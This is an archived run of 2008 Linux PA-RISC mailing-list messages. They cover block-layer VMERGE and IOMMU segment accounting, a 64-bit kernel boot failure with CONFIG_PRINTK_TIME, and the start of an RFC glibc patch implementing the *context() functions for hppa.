>>>>> Please give me an example how the boundary restriction of a device can
>>>>> break the VMERGE accounting and an IOMMU if you aren't still sure.
>>>> You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
>>>> one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
>>>> boundary and bio layer thought that VMERGE would be possible).
>>> If the device has 64KB boundary restriction, the device also has
>>> max_seg_size restriction of 64KB or under. So the vmerge acounting
>>> works (though we need to fix it to handle max_seg_size, as discussed).
>>>
>>>> And if you fix this case, someone will break it again, sooner or later, by 
>>>> adding new restriction.
>>> All restrictions that IOMMUs need to know are dma_get_seg_boundary and
>>> dma_get_max_seg_size.
>>>
>>> What is your new restriction?
>> We don't know what happens in the future.
> 
> It's very unlikely to add new restrictions.
> 
> 
>> And that is the problem that we 
>> don't know --- but we have two pieces of code (blk-merge and iommu) that 
>> try to calculate the same number (number of hw segments) and if they get 
>> different result, it will crash. If the calculations were done at one 
>> place, there would be no problem with that.
> 
> I don't think that your argument, 'the problem that we don't know', is
> true.
> 
> With the vmerge accounting, we calculate at two places. So if we add
> a new restriction, we need to handle it at two places. It's a logical
> result.
> 
> Of course, it's easier to calculate at one place rather than two
> places. But 'we don't know what restriction we will need' isn't a
> problem.
> 
> 
> BTW, as I've already said, I'm not against removing the vmerge
> accounting from the block layer.

I have a question. Does the block layer know of the IOMMU in use
for the device? can it call into the IOMMU to calculate the
restriction?

Thanks Boaz

--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Thu, 17 Jul 2008 08:56:39 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <1216302999.5515.3.camel@localhost.localdomain>
References: <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
	 <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
	 <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
	 <487F48B7.3010807@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216303028 26322 80.91.229.12 (17 Jul 2008 13:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 13:57:08 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	mpatocka@redhat.com, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: Boaz Harrosh <bharrosh@panasas.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 15:57:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJTzK-0001it-TA
	for glpp-linux-parisc@gmane.org; Thu, 17 Jul 2008 15:57:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755079AbYGQN4r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2008 09:56:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757388AbYGQN4r
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Jul 2008 09:56:47 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:45096 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756323AbYGQN4o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2008 09:56:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id E3F508BDA;
	Thu, 17 Jul 2008 08:56:41 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216303002; bh=csTfKW/aalTHvSinbwjQzCxlO1cp4ut7Cj1cfXaJrW
	w=; l=2771; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=oAkmsPp1JLYZXekAr1Ejl9z8GQQpMBemJYJvX
	JdixHnwXl0A7LoWDv0Ecm4Exs8RNY+FbpRJgVhHSJfPcMhoCTexIUanK5wjYZgDBvMt
	anevhkWBHqTzcgfF0/UqGDzIAGkgWuT8AS33kx/W3p9sdnzUAtKwnf9D5o4Am4FTO1k
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CL4rA8j61FgR; Thu, 17 Jul 2008 08:56:40 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 09617802B;
	Thu, 17 Jul 2008 08:56:39 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216303000; bh=csTfKW/aalTHvSinbwjQzCxlO1cp4ut7Cj1cfXaJrW
	w=; l=2771; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=VueY9gjykYnQRQpu5vPT/LIcCKq8UD5zkiiUv
	T6WvJ1oriVmeb6uaGG1YudrkGRblkvNCXKL4uNHGvL4SABRW50L/loQE/dOB2qOM5U9
	64NKW2Jl6naZFLY78RoK2d6/m4qvX85de/faQXsfirnrCvUaNN/3B3lm4L+2LoIL1sM
	=
In-Reply-To: <487F48B7.3010807@panasas.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:521 gmane.linux.kernel:708098 gmane.linux.scsi:43271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/521>

On Thu, 2008-07-17 at 16:27 +0300, Boaz Harrosh wrote:
> FUJITA Tomonori wrote:
> > On Thu, 17 Jul 2008 07:50:24 -0400 (EDT)
> > Mikulas Patocka <mpatocka@redhat.com> wrote:
> > 
> >>>>> Please give me an example how the boundary restriction of a device can
> >>>>> break the VMERGE accounting and an IOMMU if you aren't still sure.
> >>>> You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
> >>>> one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
> >>>> boundary and bio layer thought that VMERGE would be possible).
> >>> If the device has 64KB boundary restriction, the device also has
> >>> max_seg_size restriction of 64KB or under. So the vmerge acounting
> >>> works (though we need to fix it to handle max_seg_size, as discussed).
> >>>
> >>>> And if you fix this case, someone will break it again, sooner or later, by 
> >>>> adding new restriction.
> >>> All restrictions that IOMMUs need to know are dma_get_seg_boundary and
> >>> dma_get_max_seg_size.
> >>>
> >>> What is your new restriction?
> >> We don't know what happens in the future.
> > 
> > It's very unlikely to add new restrictions.
> > 
> > 
> >> And that is the problem that we 
> >> don't know --- but we have two pieces of code (blk-merge and iommu) that 
> >> try to calculate the same number (number of hw segments) and if they get 
> >> different result, it will crash. If the calculations were done at one 
> >> place, there would be no problem with that.
> > 
> > I don't think that your argument, 'the problem that we don't know', is
> > true.
> > 
> > With the vmerge accounting, we calculate at two places. So if we add
> > a new restriction, we need to handle it at two places. It's a logical
> > result.
> > 
> > Of course, it's easier to calculate at one place rather than two
> > places. But 'we don't know what restriction we will need' isn't a
> > problem.
> > 
> > 
> > BTW, as I've already said, I'm not against removing the vmerge
> > accounting from the block layer.
> 
> I have a question. Does the block layer know of the IOMMU in use
> for the device? can it call into the IOMMU to calculate the
> restriction?

Yes and no.  The parameter PCI_DMA_BUS_IS_PHYS is set if the platform
doesn't have one.  Nowadays, that's not enough; with VT and bypass what
the system really needs to know is if the device will be using the
iommu.

The idea of calling into the platform iommu code was considered when all
this was done, but it was rejected.  Function pointer calls are
incredibly expensive on most platforms that at that time had iommus.
The best way was to construct a theoretical parametrisation of an iommu
and get the block layer to follow that model.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Thu, 17 Jul 2008 19:05:02 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216316251 13573 80.91.229.12 (17 Jul 2008 17:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 17:37:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 19:38:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJXQo-0005yf-Rh
	for glpp-linux-parisc@gmane.org; Thu, 17 Jul 2008 19:38:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753028AbYGQRhX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2008 13:37:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757303AbYGQRhX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Jul 2008 13:37:23 -0400
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:55807 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755772AbYGQRhW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2008 13:37:22 -0400
X-Greylist: delayed 1936 seconds by postgrey-1.27 at vger.kernel.org; Thu, 17 Jul 2008 13:37:22 EDT
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1KJWud-0002wd-Kp
	for linux-parisc@vger.kernel.org; Thu, 17 Jul 2008 19:05:03 +0200
X-Mailer: Claws Mail 3.4.0 (GTK+ 2.12.9; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/522>


(Resending this to the correct mailing-list :)

Hi all,


I've been trying several times to boot a 64bit kernel with
CONFIG_PRINTK_TIME=y and each time it failed.

This is the output of my L2000 when trying to do so :

Information: No console specified on kernel command line. This is
normal. PALO will choose the console currently used by firmware
(serial). Command line for kernel: 'root=/dev/md1 console=ttyS0
palo_kernel=2/vmlinux' Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4997120 mediaptr 0x1000
Segment 1 load 00634000 size 640576 mediaptr 0x4c5000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


************* SYSTEM ALERT **************
SYSTEM NAME: uninitialized
DATE: 07/16/2008 TIME: 17:47:39
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         OFF       ON         ON
LED State: Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006C06 10112F27 - type 11 = Timestamp 07/16/2008
17:47:39 A: ack read of this entry - X: Disable all future alert
messages Anything else skip redisplay the log entry
->Choice:Timeout!  
*****************************************



Recompiling with CONFIG_PRINTK_TIME=n makes it works straight away.

How can this be troubleshooted ? Any idea what the problem could be ?

I'm using gcc-4.2.4 with kernel 2.6.26 but I've have had very same
results with gcc-4.1.2 and 2.6.25.


Cheers,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Thu, 17 Jul 2008 14:33:11 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20080717183311.GA17111@phobos.i.cabal.ca>
References: <20080716204552.56270e7c@tuxicoman.be> <20080716185627.GC22716@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216319602 25767 80.91.229.12 (17 Jul 2008 18:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 18:33:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 20:34:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJYIr-0002TP-K9
	for glpp-linux-parisc@gmane.org; Thu, 17 Jul 2008 20:34:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758153AbYGQSdP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2008 14:33:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758491AbYGQSdO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Jul 2008 14:33:14 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:39680 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757604AbYGQSdM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2008 14:33:12 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 5FED217805A; Thu, 17 Jul 2008 14:33:11 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080716185627.GC22716@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:523 gmane.linux.kernel:708253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/523>

On Wed, Jul 16, 2008 at 02:56:27PM -0400, Kyle McMartin wrote:
> On Wed, Jul 16, 2008 at 08:45:52PM +0200, Guy Martin wrote:
> > 
> > This is the output of my L2000 when trying to do so :
> > 
> > Information: No console specified on kernel command line. This is
> > normal. PALO will choose the console currently used by firmware
> > (serial). Command line for kernel: 'root=/dev/md1 console=ttyS0
> > palo_kernel=2/vmlinux' Selected kernel: /vmlinux from partition 2
> > ELF64 executable
> > Entry 00100000 first 00100000 n 2
> > Segment 0 load 00100000 size 4997120 mediaptr 0x1000
> > Segment 1 load 00634000 size 640576 mediaptr 0x4c5000
> > Branching to kernel entry point 0x00100000.  If this is the last
> > message you see, you may need to switch your console.  This is
> > a common symptom -- search the FAQ and mailing list at parisc-linux.org
> > 
> 

How about if you boot with printk_time=0, whilst CONFIG_PRINTK_TIME=y?

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] Patch for glibc getcontext()/makecontext()/setcontext()/swapcontext()
Date: Sat, 19 Jul 2008 00:11:01 +0200
Lines: 535
Approved: news@gmane.org
Message-ID: <200807190011.02042.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_2TRgIFJ/BXjPK1j"
X-Trace: ger.gmane.org 1216419129 31702 80.91.229.12 (18 Jul 2008 22:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2008 22:12:09 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, Randolph Chung <tausq@parisc-linux.org>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 00:12:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJyC5-0002lc-7f
	for glpp-linux-parisc@gmane.org; Sat, 19 Jul 2008 00:12:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756912AbYGRWLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2008 18:11:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760172AbYGRWLt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Jul 2008 18:11:49 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40028 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756912AbYGRWLp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2008 18:11:45 -0400
Original-Received: (qmail invoked by alias); 18 Jul 2008 22:11:43 -0000
Original-Received: from mnhm-590f7749.pool.einsundeins.de (EHLO p100.box) [89.15.119.73]
  by mail.gmx.net (mp039) with SMTP; 19 Jul 2008 00:11:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/tgfwFytrthYGI7o3px+PGsikXhDd6ywUjT300zp
	YVGbTTVpRCVcxR
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.66
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:524
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/524>

--Boundary-00=_2TRgIFJ/BXjPK1j
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

I've tried to come up with a patch for glibc on hppa, which implements the *context() functions.

Main reason for me to write up those functions was e.g. this bug
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=459567
but I assume a few other bugs might be fixed then as well, if we get those functions integrated into glibc.

Below is now my first version.
Although it fixes the debian bug 459567 for me (after I rebuilt pth-2.0.7 and telling it to use the *context functions), I'm not sure if I missed anything else.

I'm sending it here on the parisc-devel list and would be happy to get feedback, before I plan to send it to the glibc devel list.

Current limitations:
- only integer parameters allowed (but that's usual on most arches)
- 32bit userspace implementation only
- do I need to save the FP regs?
- maybe more?

Any feedback is very much appreciated.
(Please be kind, my hppa assembler knowledge isn't that good)

Helge


--Boundary-00=_2TRgIFJ/BXjPK1j
Content-Type: text/x-diff;
  charset="us-ascii";
  name="getcontext_6.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="getcontext_6.diff"

diff -up ports/sysdeps/unix/sysv/linux/hppa/Makefile.org ports/sysdeps/unix/sysv/linux/hppa/Makefile
--- ports/sysdeps/unix/sysv/linux/hppa/Makefile.org	2008-07-16 19:41:29.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/Makefile	2008-07-16 19:41:37.000000000 +0200
@@ -1,2 +1,7 @@
 # linux/hppa does not use -lmilli anymore
 gnulib := -lgcc
+
+ifeq ($(subdir),stdlib)
+gen-as-const-headers += ucontext_i.sym
+endif
+
diff -up ports/sysdeps/unix/sysv/linux/hppa/getcontext.S.org ports/sysdeps/unix/sysv/linux/hppa/getcontext.S
--- ports/sysdeps/unix/sysv/linux/hppa/getcontext.S.org	2008-07-16 19:52:11.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/getcontext.S	2008-07-18 23:34:32.000000000 +0200
@@ -0,0 +1,101 @@
+/* Get current user context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+
+#include "ucontext_i.h"
+
+ENTRY(__getcontext)
+	/* Save the register.  */
+	stw	%r0, oR0(%r26)
+	stw	%r1, oR1(%r26)
+	stw	%r2, oR2(%r26)
+	stw	%r3, oR3(%r26)
+	stw	%r4, oR4(%r26)
+	stw	%r5, oR5(%r26)
+	stw	%r6, oR6(%r26)
+	stw	%r7, oR7(%r26)
+	stw	%r8, oR8(%r26)
+	stw	%r9, oR9(%r26)
+	stw	%r10, oR10(%r26)
+	stw	%r11, oR11(%r26)
+	stw	%r12, oR12(%r26)
+	stw	%r13, oR13(%r26)
+	stw	%r14, oR14(%r26)
+	stw	%r15, oR15(%r26)
+	stw	%r16, oR16(%r26)
+	stw	%r17, oR17(%r26)
+	stw	%r18, oR18(%r26)
+	stw	%r19, oR19(%r26)
+	stw	%r20, oR20(%r26)
+	stw	%r21, oR21(%r26)
+	stw	%r22, oR22(%r26)
+	stw	%r23, oR23(%r26)
+	stw	%r24, oR24(%r26)
+	stw	%r25, oR25(%r26)
+	stw	%r26, oR26(%r26)
+	stw	%r27, oR27(%r26)
+	stw	%r28, oR28(%r26)
+	stw	%r29, oR29(%r26)
+	ldo	-64(%sp), %r1	/* Calculate %sp in %r1.  */
+	stw	%r1, oR30(%r26)	/* Save new %sp.  */
+	stw	%r31, oR31(%r26)
+
+	stw	%r0, oUC_FLAGS(%r26)
+	stw	%r0, oUC_LINK(%r26)
+	stw	%r1, oSS_SP(%r26)  /* New %sp.  */
+	stw	%r0, oSS_FLAGS(%r26)
+	stw	%r0, oSS_SIZE(%r26)
+
+	stw	%r0, oSC_FLAGS(%r26)
+
+	stw	%r0, oIASQ0(%r26)
+	stw	%r0, oIASQ1(%r26)
+	stw	%r0, oIAOQ0(%r26)
+	stw	%r0, oIAOQ1(%r26)
+	stw	%r0, oSAR(%r26)
+
+	/* Store floating-point regs.  */
+	/* fstd	%fr0, oFP0(%r26)  */
+
+
+	/* Prologue */
+	stwm	%r4, 64(%r30)
+#ifdef PIC
+	stw	%r19, -32(%r30)
+#endif
+
+	/* Save the current signal mask.  */
+	/* sigprocmask(SIG_BLOCK, NULL, &ucp->uc_sigmask);  */
+	ldo	oSIGMASK(%r26), %r24
+	copy	%r0, %r25
+	bl	sigprocmask, %r2
+	ldi	SIG_BLOCK, %r26
+
+	/* Epilogue */
+	ldw	-84(%r30), %r2
+#ifdef PIC
+	ldw	-96(%r30), %r19
+#endif
+	bv	%r0(%r2)
+	ldwm	-64(%r30), %r4
+END(__getcontext)
+
+weak_alias (__getcontext, getcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/makecontext.c.org ports/sysdeps/unix/sysv/linux/hppa/makecontext.c
--- ports/sysdeps/unix/sysv/linux/hppa/makecontext.c.org	2008-07-16 21:41:02.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/makecontext.c	2008-07-16 22:16:29.000000000 +0200
@@ -0,0 +1,79 @@
+/* Create new context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <libintl.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sysdep.h>
+#include <ucontext.h>
+
+/* XXX: This implementation only handles integer arguments.  */
+
+void
+__makecontext (ucontext_t *ucp, void (*func) (void), int argc, ...)
+{
+  unsigned int *sp;
+  va_list ap;
+  int i;
+
+  if (argc > 8)
+    {
+      fprintf (stderr, _("\
+makecontext: does not know how to handle more than 8 arguments\n"));
+      exit (-1);
+    }
+
+  /* Generate room on stack for parameter if needed and uc_link.  */
+  sp = (unsigned int *) ucp->uc_stack.ss_sp;
+
+  /* Address to jump to.  */
+  ucp->uc_mcontext.sc_gr[2] = (unsigned long) func;
+
+  va_start (ap, argc);
+  /* Handle arguments.  */
+  for (i = 0; i < argc; ++i)
+    switch (i)
+      {
+      case 0:
+      case 1:
+      case 2:
+      case 3:
+      	ucp->uc_mcontext.sc_gr[26-i] = va_arg (ap, int);
+	break;
+      case 4:
+      case 5:
+      case 6:
+      case 7:
+	if (sizeof(unsigned long) == 4) {
+		/* 32bit: put arg7-arg4 on stack.  */
+		sp[7-i] = va_arg (ap, int);
+	} else {
+		/* 64bit: r19-r22 are arg7-arg4.  */
+		ucp->uc_mcontext.sc_gr[22+4-i] = va_arg (ap, int);
+	}
+	break;
+      }
+  va_end (ap);
+
+}
+
+
+weak_alias(__makecontext, makecontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/setcontext.S.org ports/sysdeps/unix/sysv/linux/hppa/setcontext.S
--- ports/sysdeps/unix/sysv/linux/hppa/setcontext.S.org	2008-07-16 22:29:10.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/setcontext.S	2008-07-18 23:34:23.000000000 +0200
@@ -0,0 +1,124 @@
+/* Install given context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
